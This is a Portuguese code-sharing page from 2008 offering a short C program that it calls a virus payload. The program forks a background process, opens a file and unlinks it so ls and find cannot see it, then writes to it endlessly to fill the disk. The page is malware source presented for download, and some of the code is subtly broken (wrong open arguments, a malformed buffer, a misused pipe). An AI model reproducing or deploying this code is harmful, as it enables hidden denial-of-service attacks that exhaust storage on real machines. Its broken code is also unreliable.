Lota o HD com bagaço

Publicado por Geraldo José Ferreira Chagas Júnior 14/07/2008

[ Hits: 4.548 ]

Homepage: http://prginfo.blogspot.com

Download progacao1.c




Cria um arquivo, mantém aberto e apaga, porém continua enchendo-o de dados. Dessa forma ele fica invisível ao usuário; nem o ls, nem o find poderão encontrá-lo.

  



Esconder código-fonte

/* progacao1.c */

#include <stdio.h>
#include <stdlib.h>

acao()
{
   int ifd;
   char 

*buf=("1","2","3","4","5","6","7","8","9","0");
   long c;
   int desc;
   close(1);      /* fecha a saída padrão, o vídeo 

*/

   pipe (desc);  /* com a saída padrão fechado, 

fazemos com que a saída passe a ser o pipe. O 

descritor dessa nova saida será armazenados em desc 

*/

   ifd=open("./lotaHD", "w+",0777);   /* abre o 

arquivo para escrita */

   unlink("./lotaHD"); /* apaga o arquivo */

   while (1)
   {
      write(ifd, buf, sizeof(buf));  /* em um loop 

infinito grava os dados de buf no arquivo */
      printf ("oi\n");    /* precisamos de um tempo 

para a gravação, é o tempo que se escreve esta 

string na saída. Por isso usamos o pipe. Não 

queremos que o vírus fique escrevendo nada no vídeo 

*/
   }
}

main()
{
   int i;

   i=fork();  /* precisaremos criar um outro 

processo, pois o vírus terá que continuar sua 

execução enquanto sua ação é realizada. */
                 /* Não poderia ser uma thead, pois 

mesmo que o programa hospedeiro se encerre, o 

processo tem que continuar */

   /* o processo filho que foi criado é quem deve 

se encarregar da execução da ação, o pai tem que 

continuar a executar as funcionalidades restantes 

do vírus */
   if (i==0)
      acao();
}

Scripts recomendados

Agenda

[C] Números Racionais

Como verificar a validade de um CPF

Integração numérica - Método da Quadratura Gaussiana

Inverte string usando NCURSES


  

Comentários

Nenhum comentário foi encontrado.


Contribuir com comentário